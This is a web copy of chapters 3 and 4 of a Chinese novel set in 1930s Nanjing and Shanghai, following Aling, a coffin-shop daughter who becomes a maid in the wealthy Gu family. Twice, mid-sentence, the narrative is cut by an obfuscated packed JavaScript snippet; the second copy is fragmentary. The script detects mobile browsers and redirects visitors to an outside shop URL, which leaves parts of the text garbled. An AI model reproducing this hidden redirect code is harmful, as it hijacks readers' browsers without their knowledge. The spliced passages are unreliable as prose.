《摩登之途》 3. 第 3 章 阿苓包袱里还有顾竞存两年前赏给她的五十大洋,这五十大洋和她一起逃难,从淮城到了南京,再到了上海。 两年前,阿苓还在淮城,她那时还叫方令芝。 那也是一个夏天,方家寿材铺的生意要比往日来得急,冬天还可停灵七天,夏天一般人没了隔日就得葬。有一天热得出奇,阿苓脸上的汗掉下来把账本都给洇湿了,一个穿着长衫的人来到寿材铺,要店里最好的棺材。 柏木做棺木已经算好料,但长衫男完全看不上,正好店里有为一位老太爷做的楠木棺材,老太爷还没死,不急着用。方老板开价两千块,长衫男还到了一千八。 长衫男在店里一共办了二千五百块的东西,这对方家的寿材铺已经是一笔天大的生意,但这人要求开两万块的帐。一千八的棺材就要开八千块的虚账。 阿苓扯着方老板的衣袖说,“爹,这要被发现了,咱家不会吃官司吧,要不这买卖还是别做了。” 方老板见多了在白事上赚回扣坑主人家的。丧事不比喜事,家里没了人正是慌乱的时候,尤其大户人家最怕人说闲话,这事上尤其不敢省,为了面子怎么铺张怎么来,这就给赚回扣留了很大的余地。况且丧事一般人一辈子也遇不到几次,里面的种种账目也只有经手的人懂。可回扣赚到这种地步,他也是开了眼界。 但是到手的大生意方老板不能不做。 死的人是于家的老太太,老太太生前在上海的大户人家做奶妈。葬礼的钱就是上海那家人出的。 方老板盘算着大主顾不是本地人,又没有帮派背景,狠心下笔写了两万的虚账,至于他自己的账本,写的还是二千五百块。 老太太出殡那天,于家门口停了好几辆黑色汽车。方老板突然感染上风寒,阿苓寿材店杂货店两头跑,忙得脚不沾地。像她这种店主的女儿,是没资格大门不出二门不迈的,她高小毕了业就帮父亲算两家店的账。 阿苓没见着于家出殡的场面,却知道这葬礼办得很排场,店里的香烟汽水都被于家买空了。阿苓晚上听小姨娘转述,葬礼主人家门前停了一辆车,车又黑又长,里面出来的人又气派又好看,穿的西装那叫一个洋气,也不知道是上海哪家的少爷。 小姨娘越说越兴奋,夸别人也不忘贬低阿苓,“上海大户人家的奶妈办葬礼比咱们这里的有钱老爷们还气派。我看这上海少爷比令芝的未来婆家阔气多了,令芝的未婚夫身上穿的西服跟人家一比,就像乡下裁缝随手做的。想来在这样的人家做姨太太,也比在别家做少奶奶舒服。” 方老板早就忍不下去了,自己病成这样了,自家姨太太满口都是别人家的小白脸子如何如何,别的也就罢了,他精心给女儿挑选的婚事不如做小白脸子的姨太太?他怒道:“我自己的女儿养到现在可不是给人做姨太太的,她要敢做姨太太,我打不死她!” 小姨娘被戳到痛处,扯着生病的方老板左右摇晃,“你女儿不是做姨太太的,我天生就是给人做姨太太的?你打死谁?你是想打死我吧!来,你打死我!你今天不打死我,你就不姓方!我怎么这么命苦啊!我十八岁嫁给你这个老帮菜,满以为老的会疼人。你就这么疼我?你女儿是要做少奶奶的金枝玉叶,我难道是个伺候人的老妈子?早知道去讨饭,也不嫁给你做小!” 小姨娘扯着晃着摇着生病的方老板,口口声声要让方老板打死她,还是阿苓阻止了姨娘,“姨娘,消消气吧!你再这么摇我爹,我爹就要被你给摇死了。” 方老板没被摇死,可第二天病情却又加重了。姨太太口中那辆又黑又长的汽车停在方家门前时,姨太太正拿着手绢在方老板床前一把鼻涕一把泪,“你可不能死啊,你要死了,我们孤儿寡母可怎么办啊!”方老板听了一阵心乱,仿佛自己真死了,姨太太在哭丧。 从汽车上下来三个男人,为首的穿西装戴眼镜,那两个黑衣大汉称他为沈先生。沈先生下了车来到方家正房,要请方老板到江宁会馆讲一下寿材的账目。方老板做生意多年,一看就知道怎么回事,这是那两万块的虚账东窗事发了,主人家要拿人问罪呢。方老板拖着病体说他改日再去拜访,沈先生笑着说如果方老板身体不方便,他们可以把他抬到江宁会馆。方老板感染了风寒,听到这话,再看看眼镜男后面两个穿黑衣服的壮汉,心里也寒了。 阿苓站出来说:“我爹病了去不了,寿材铺的账目我都清楚,我跟你去。”方老板这时也忘记自己生病了,对着阿苓骂道,“你去个屁,别胡说八道!赶快回你的房里给我绣花去!” 阿苓从来就没绣过花,她反驳道:“家里的帐,我比你还清楚呢!光天化日,朗朗乾坤,他们难道能拿我怎么样吗?” “你给我闭嘴!大人谈事哪有你这丫头说话的份儿!”说着方老板又向眼镜男谄媚道,“沈先生,不是我不想去,我染了风寒,要是传染上你们就不好了。” 眼镜男并不理方老板这茬儿:“既然方老板身体欠安,那就请方小姐跟我们走一趟吧!” 阿苓嘴上很硬,腿却有点儿软,坐在别克车上,她忍不住抠自己的手指,为了缓解这紧张,她问眼镜男:“沈先生,你这汽车真气派,是哪国车啊?” 这眼镜男并不搭理她,于是阿苓的心跳得更快了。 大概是她的心跳声太大,让旁人也听见了。 “方小姐不必害怕,顾先生问你话,你如实答对就可以了。” “顾先生是谁啊?” 沉默。 阿苓就在江宁会馆最好的客房里见到了姨娘口中那个漂亮又洋气的少爷,眼镜男口中的顾先生。 “先生,方老板身体欠佳,方小姐说这账目问她也一样。” 这眼镜男口中的顾先生在她来之前已经扯掉了领带,衬衫上面的两粒扣子松着。听到对她的介绍,靠在椅背上漫不经心地打量她。 要是别人这么看阿苓,她早就急了。可被这男的这么看,她不知为啥脸有点儿红,大概是热的。她突然注意到自己的衣服,她今天穿了一件粉白的牙签条竹布旗袍,她还有更好更贵的衣服,不过只有过节或者去别家做客时才穿,在店里穿这些太不禁脏。 阿苓低着头忍不住偷瞄这顾先生,小姨娘说他穿西装好看,可他这时没穿西装,也是好看的。她咬着嘴唇去摸自己的粗辫子,心里盘算着如何答话。 阿苓开始是低着头,被长时间沉默地打量,她忍不住仰起头,和这顾先生对视。她听见自己的心跳声,咚——咚——咚,她摸着自己的粗辫子,从他深邃的眼窝看到他的嘴唇,最后落在他高而挺的鼻子上。 顾先生被她看笑了,笑道:“方小姐,报报你的帐吧。” 虽然他客气地称她为方小姐,但他的笑总让她恐怖。阿苓觉得这人好看的有点儿邪性。 来之前,她爹努嘴挤眉毛暗示她报假账,把两万块的假账说成一万,这样也不算过分。但阿苓见到这人,就知道假账报不了了,她决定实话实说。 报完账目,她大着胆子说:“顾先生,开门做生意,我们也是没办法,总不能把客人往外赶。可您打听打听,一千八一具楠木棺材,虽然不便宜,但是要得这么急,绝对是非常公道的价钱。去别的地方临时找,绝对没有这么好的棺木。我不知道别人吃了多少的回扣,可我们家……” 长衫男人截住了阿苓的话:“顾先生,您别听这小丫头胡说八道!” “我才没有胡说八道,一个一千八的棺材你报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414907|200733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八千块的虚账,也不嫌亏心!” 顾先生本来把玩着手中的折扇,冷不丁这折扇从顾先生手中飞出去,正打在屋内长衫男人的头上。顷刻男人头上的血洒下来,落在地上。扇把也染上了血。 “我最讨厌别人拿我当傻子糊弄。你做的那些事你以为我不清楚?” 长衫男人突然跪下,一个劲儿打自个儿的嘴巴:“顾先生,我错了,您就饶我这次吧……” “你这可远不是第一次了吧。” 阿苓平常在家也看老妈子杀鱼杀鸡,她有时也帮忙,毕竟家里只有一个佣人,可看到人血,还是有点发怵。阿苓的目光转到顾先生,他正靠在椅子上漫不经心地整理袖扣。他的手指很长很漂亮,她因为每天拿笔算账写字,总是格外注意别人的手。这样一双手按理说不应该做出很凶狠的事。 “给我把扇子捡起来!” 阿苓刚才走了神,以为这话是对自己说的,她犹疑了下,俯下身捡起扇子,又从衣襟里取出白手绢,把扇子把上的鲜血一点点擦干净,擦完才拿起扇子递给那双漂亮的手。 顾先生冲她扬了扬下巴,示意她把扇子放在桌子上。他看着她婴儿肥的脸:“你多大了?” “十六。”阿苓的声音很低,好像这个年龄拿不出手一样。可她又马上扬起头,她虽然只有十六岁,可什么都会干了。 顾先生不再看她,目光转向眼镜男:“临清,天不早了,你派人送方小姐回去。” 阿苓再次坐上了那辆1932年的别克,和她一起离开的还有五十大洋,据眼镜男说,她的手帕因为给顾先生擦扇子脏了,这是顾先生给方小姐买新手帕的钱。 阿苓说这怎么好意思,一块大洋能买好几打手帕,根本不用这么多钱。对方说这是顾先生的价码,方小姐收着就是了。她僵在那里,过会儿拿出十块给眼镜男,“您也辛苦了,拿去买盒烟抽吧。”眼镜男不理她,她只好把十块大洋又放回钱袋。 阿苓回到家,方老板没想到她此行收获颇丰,她能全须全影地回来,姓顾的也没追究,方老板已然非常满意,哪里还想要别的。因为一直担着心,方老板狠狠出了一身汗,隔了一夜,方老板的风寒竟好了。 第二天阿苓又坐着黄包车去江宁会馆,和她一起去的还有一些淮城特产。她想着她收了五十大洋,总得回送点儿什么。礼轻情意重,多少是个意思。 她刚到会馆,就看到两辆汽车停在外面。她走到之前坐的那辆车旁边,去敲车窗。顾先生正坐在座位上闭目养神,她只看到了眼镜男。眼镜男请她把这些东西拿回去,她像生意人一样客套道:“顾先生和沈先生大老远来到这里,也没时间招待……” 眼镜男没让阿苓把话说下去:“如果我没记错的话,方小姐家做的是寿材铺生意吧。” 别的店可以做回头客生意,但是寿材铺……阿苓忙说:“我不是那个意思,我只是……”她心里骂狗咬吕洞宾,不识好人心。她挤出了一个笑说了声那就不打扰了,就听一个声音说:“那就谢谢方小姐的好意了。” 男仆收了阿苓手中的特产,她刚想客气,就听眼镜男从车窗里递出一张钞票给她。 不是大洋,是一百块的钞票。 她来送礼,自始至终没见到姓顾的正脸。 把她当什么人了?好像她送这些东西是为的要钱。她没收钞票,连句告辞的话都没说,直接坐到来时的黄包车上,让车夫拉快一点。 可坐在黄包车上,阿苓又后悔没收钱,既然把她当成那样的人,她就不应该白担了虚名。一百块钱能买多少好东西啊,不收白不收,不收姓顾的也不会高看她。 她怎么就没收呢?下次可不能这样了,她对自己说。 4.第 4 章 四少爷的话打断了阿苓的回忆:“大哥今晚在法国总会有一个私人聚会。”言下之意,便是没时间回家吃饭。 五小姐嘟囔道:“我还以为今天能看到大哥呢。” 五小姐和顾大少爷相处实在短暂,上次她来上海也不过见了几面。可她却很喜欢这个大哥。她去年来上海,能在沪上社交圈有些名气,还是她大哥的缘故,她父亲虽然在南京算个名人,但在上海,人们还是更认小顾先生。 顾老爷虽然嘴上谈平等谈自由谈进步,以前也为进步努力过,如今却活得像个遗老。大哥才是五小姐心目中的理想新派人。 顾竞存生于1908年越南西贡,那是光绪三十四年。彼时顾老爷因为办报被清廷通缉逃到澳门,又因为携澳门豪富之家的女儿一起私奔,彻底远离故国,只能在越南西贡和法国人做生意。光绪三十四年,父亲去世的消息和光绪慈禧死讯一起传来,顾老爷却依然无法回国,只能让第一个孩子出生在异国他乡,这于顾老爷当然是复杂难言的一段往事,但时间久远,五小姐只觉得大哥的出生和自小就会的法语很浪漫,丝毫没感到命运的捉弄。 顾竞存丧母那年正是民国元年,清廷不再,他作为清廷通缉犯的儿子也可以一起随父回国。他十七岁去牛津学经济,读书期间游历欧洲,毕业后往返于伦敦巴黎,混迹于股票交易所,1929年9月伦敦交易所因哈特里欺诈案内部震荡,股价崩盘直接影响到了遥远的华尔街,他却从中狠赚了一笔,这一年11月他回到上海,贷款买下了法租界西区的一块地,从此开始了他的地产生意。 大哥一切都合乎五小姐对新派绅士的定义,年纪轻轻就去了那么多国家,既可以用英文和人谈亚当斯密凯恩斯莎士比亚惠特曼,也可以用法语背波德莱尔的诗,就连舞也跳得比一般人好。她有时甚至希望大哥是她同父同母的哥哥,四哥太温柔了,没让她产生崇拜和被保护的感觉。 锦翠看阿苓眼睛盯着车窗外的广告牌,便说:“安德大楼比这个更气派呢,有十来层高,一到四楼是百货商店,今年刚开张。还有咖啡馆饭店电影院什么的,九层以上是对外出租的写字楼,大少爷的公司占了九楼一整层。大少爷在百货商店也入了股。”这是五小姐告诉锦翠的,到了上海,锦翠觉得一切她都比阿苓懂得多。 阿苓下意识地问:“四少爷,你暑假是不是就在这里实习?” 四少爷嗯了一声,其实暑假大部分时间他都是和学校里的老师在考察周边古建,大哥公司没怎么去。只是说在大哥公司实习,他母亲会放心。 阿苓又对四少爷说:“你每天爬九楼很辛苦吧。” 锦翠噗嗤一乐:“阿苓,你真没见过世面!大楼是有电梯和自动扶梯的,你从没坐过电梯吧。”再说,锦翠心里想,四少爷能有多辛苦?再辛苦能有你一个丫头辛苦?真是咸吃萝卜淡操心! 阿苓不说话。南京也有新建的百货大楼和电梯。可她每日随二姨太烧香礼佛,不像锦翠陪五小姐经常逛咖啡厅电影院,去年又来上海见了一些世面。她没去过百货大楼,连电梯也没坐过。 “其实电梯要让给客人,一般职员还是走楼梯的多。“四少爷略过锦翠的话回阿苓,“爬楼也不怎么累。” 锦翠接道:“可四少爷你又不是小职员。” “走楼梯对身体有好处。” 锦翠心里哼了一声,四少爷老是向着阿苓这个土丫头,真是的。 阿苓遥遥地看到了“安德”的牌子,她的眼睛贪婪地注视着窗外,摩登女郎的装束仿佛移动的橱窗展览。1934年上海百货大楼的橱窗里陈列着来自瑞典的吸尘器,阿苓仿佛一粒外来的尘土,这偌大的花花世界要把她彻底吸进去,吸得一点不剩。 阿苓的眼睛盯在一个年轻女郎身上,这女郎从一辆敞篷汽车上下来,头戴一顶阿苓不知道怎么形容的帽子,方领无袖丝质连衣裙让全身的曲线展露无遗,外面裹一件薄纱短外套,胳臂若隐若现,一张脸倒被墨镜罩住了大半。 女郎踩着侧面镂空露脚背的白皮鞋,袅袅婷婷进了安德大楼的一楼,身后跟着提包小女仆。 这女郎过于时髦了,时髦得超出了阿苓的想象力。穿这身打扮只能进出安德大楼,要是出入破败的二轮戏院,不知道招惹多少流氓。 锦翠为阿苓解惑:“这是社交名媛陈佳棠陈小姐,画报上到处都是,去年五小姐来上海还和她见过面呢。” 五小姐打断了锦翠的话:“出了车站,你嘴里的话就没停过。”五小姐又想起画报上密斯陈那张泳衣照片,心里呵了一声,也就是现在的人没见过世面,才一个个捧着她!把密斯陈捧得还以为自己是中国的琼·克劳馥。也不知道密斯陈进安德是买东西还是找她大哥。 五小姐不喜欢琼·克劳馥,她更喜欢嘉宝,后者更富神秘气息,符合她理想的自己。 当然五小姐这样讨厌密斯陈,最重要的原因还是密斯陈对她不够热情。她想,如果她是大哥同父同母的妹妹,密斯陈绝不会对她这样冷淡。 锦翠被五小姐这么一说,及时闭了嘴。汽车从公共租借驶入法租界,阿苓头一次见到这么多梧桐,两侧枝干绞缠在一起,仿佛搭了一个天然凉棚,蝉鸣声直往她耳朵里钻,霞飞路的店铺和公共租界完全两样,咖啡馆西餐厅从两侧飘过,阿苓仿佛闻到了面包香气。而后汽车拐道,世界陡然寂静无声,汽车往深处行驶,最终停在一个墨绿色的铁皮大门前,广玉兰从高高的围墙里伸展出来。 从大门到主楼还有一段路,阿苓早就知道顾家有钱,可她猜顾大少爷一个单身汉住的地方总不会比老宅更好。眼前的一切证明她想错了。 主楼三层,一楼是客餐厅和会客区,三楼是顾大少爷独自在住,除了贴身男仆和四少爷,一般人都不能上去。五小姐被安排住在二楼东边的房间,四少爷住在西侧。 五小姐靠在卧房的沙发里,看阿苓和锦翠收拾行李。她面前摆着飞达咖啡馆刚送来的栗子蛋糕,她喝了一口咖啡,便去拿唱片,思考着放哪张听。今年夏天最红的歌星是白虹和周璇,可五小姐去年来了一趟上海,觉得听爵士乐才时髦。 客厅里响着李丽莲的《春风杨柳》,五小姐咬了一口栗子蛋糕,对阿苓和锦翠说:“衣服不要给我弄乱了,四季的衣服要分开放。” 五小姐的衣服实在太多了,光丝绸睡衣就好几件,夏天的旗袍更是数不清,乔其纱、泡泡纱、软绸、织锦缎……同样的纱又分斜襟对襟,花边也不一样…… 锦翠已经摊倒在地毯上,她天没亮就起来,到现在除了阿苓的茶干也没吃别的,就算五小姐骂她,她也认了,收拾这些东西费了一个多礼拜,现在一天怎么能理好,不分门类随便叠好放起来呢,五小姐找不到衣服又要怪她。阿苓看锦翠是不准备努力了,可是今天不干明天也得干,不如一气儿干完了…… 五小姐靠在沙发上听音乐吃蛋糕喝咖啡,阿苓饿着肚子闻着栗子蛋糕的香气按照材质和样式分门别类地给五小姐整理衣服。她在老家的时候,家里唯一的老妈子也称呼她为小姐,可她这个小姐和顾五小姐是不能比,要是有五小姐这么舒服,她很难有决心从家里逃出来。 等一切整理完毕,五小姐看着几大箱子的衣服书籍唱片都有了新地方,忍不住夸阿苓:“你真能干,以后我毕业有了职业,聘你做我的生活秘书。” 阿苓心里说,做你的秘书,我得累死。她望了一眼五小姐的黄铜大床,很想在上面躺一躺,她又累又饿,那厚厚的床垫一看就很舒服。要是有一天她能睡上这么软的床就好了。 阿苓被安排住在北楼二楼,北楼一楼是大厨房,有中餐间和西餐间,二楼是仆人房,阿苓刚想回自己的房间吃一点她带来的茶馓,就听外面有人说:“五小姐,晚饭备好了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17422011|200733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 五小姐的音调不由自主提高了:“大哥回来了吗?” “顾先生今晚在法国总会,沈先生打电话过来让小姐少爷先用饭,不必等。” 不光大少爷不在,四少爷接了个电话也临时出了门,偌大的餐厅,只有五小姐一人坐在桌前。 南京顾家的老规矩,主人吃饭,仆人要在一旁守着,随时恭候差遣,阿苓累了一天,只等着小姐赶快吃完,她好去仆人餐间吃点儿东西。她站在餐桌前,打量这一桌菜。南京大厨房是淮扬菜厨子,做的一切阿苓都很熟悉。 可桌上的这一切,虽然也是中餐,阿苓却觉得陌生。她也不知道顾少爷一个南京人的儿子长在上海为什么要弄一个广东菜厨子在家。 不过桌上的菜阿苓很想尝一尝,她饿到这种程度,其实桌上只有馒头她也想尝,何况这么精致。 但五小姐却对这桌筵席提不起兴趣,她累了一天,只想吃点清爽的东西。 五小姐叫了一个女仆过来:“这桌饭你们收了去吃吧。” 阿苓想,终于可以去吃饭了。这饭看着很不错,今天还蛮有口福。 可五小姐笑着留下了阿苓:“阿苓,我想吃你做的绿豆汤了。小厨房冰箱里有冰块,想来做这个不费事,你去小厨房给我做些好吗?” 五小姐不是个苛待仆人的人,她每次让人给她做事时都是笑着。 五小姐又对一个女仆说:“阿苓第一次来这里,你带她去小厨房熟悉一下。” 饶是锦翠老挑剔阿苓,也觉得五小姐这会儿不让阿苓吃饭而是去做绿豆汤过分了。她自己没怎么收拾行李这会儿都不想动了,可是呢小姐的话她也不能反驳,于是留下阿苓,一人去了北楼享受五小姐没吃的饭菜。 阿苓为自己争取去仆人餐间吃饭的权利:“五小姐,我今天太累了,明天给你做好吗?” “可我现在就想吃。”五小姐仍笑着,“阿苓,明天就没什么事了,到时我带你去电影院,看好莱坞电影好不好?你在南京的时候,看一次电影不容易吧。” 这个提议对阿苓很有诱惑力:“五小姐,上海的电影院放映正片前也会放米老鼠吗?” 阿苓是在南京一家二轮戏院看的米老鼠,还是二姨太不在偷着去的。二轮戏院只有木板凳,戏院里有人抽烟嗑瓜子,不像锦翠陪五小姐去的首轮戏院,又有软座又豪华干净。可二轮戏院的票价只有首轮戏院的十分之一。 阿苓本来是要看国产家庭片,可电影正式开场前,屏幕里突然窜出来一只老鼠。阿苓后来才知道这是为吸引观众加映的短片。周围的男人一直在吸烟,她被呛得直咳嗽,可这不妨碍她看《米老鼠》看得开心。 五小姐忍不住笑:“你都多大了,喜欢看这种动画片!不过你放心,你肯定能看到,快去给我做吧。” 阿苓点了点头:“五小姐,这个没你想的那么省事,你得多等一会儿。” 小厨房不同于大厨房,更多的是客人来时做些饮品,切切水果,偶尔做些宵夜。 女仆一一指给阿苓看,这是冰箱,这是煤气灶……阿苓在南京是见过冰箱的,可煤气灶是第一次见。女仆点燃火柴凑近煤气灶,同时转动按钮,竟转出了一簇蓝色火焰。这火焰令阿苓惊奇。 上海的一切都令她惊奇,阿苓靠着这股惊奇支撑她拖着不想动的身体做完了绿豆汤。 可阿苓端着绿豆汤到餐厅的时候,五小姐已经不见了。她只好捧着托盘走到二楼敲五小姐的门:“五小姐,绿豆汤好了。” 半晌那边才回:“阿苓,我突然不想吃了,你放冰箱吧。” 一股火从阿苓胸腔里喷出来,饶是主仆有别,她也忍不了了,就在这会儿她听见客厅里传来三个字:“顾先生。” 阿苓积攒出来的火气还没发泄起来,就听五小姐的声音陡然兴奋起来:“阿苓,大哥是不是回来了?”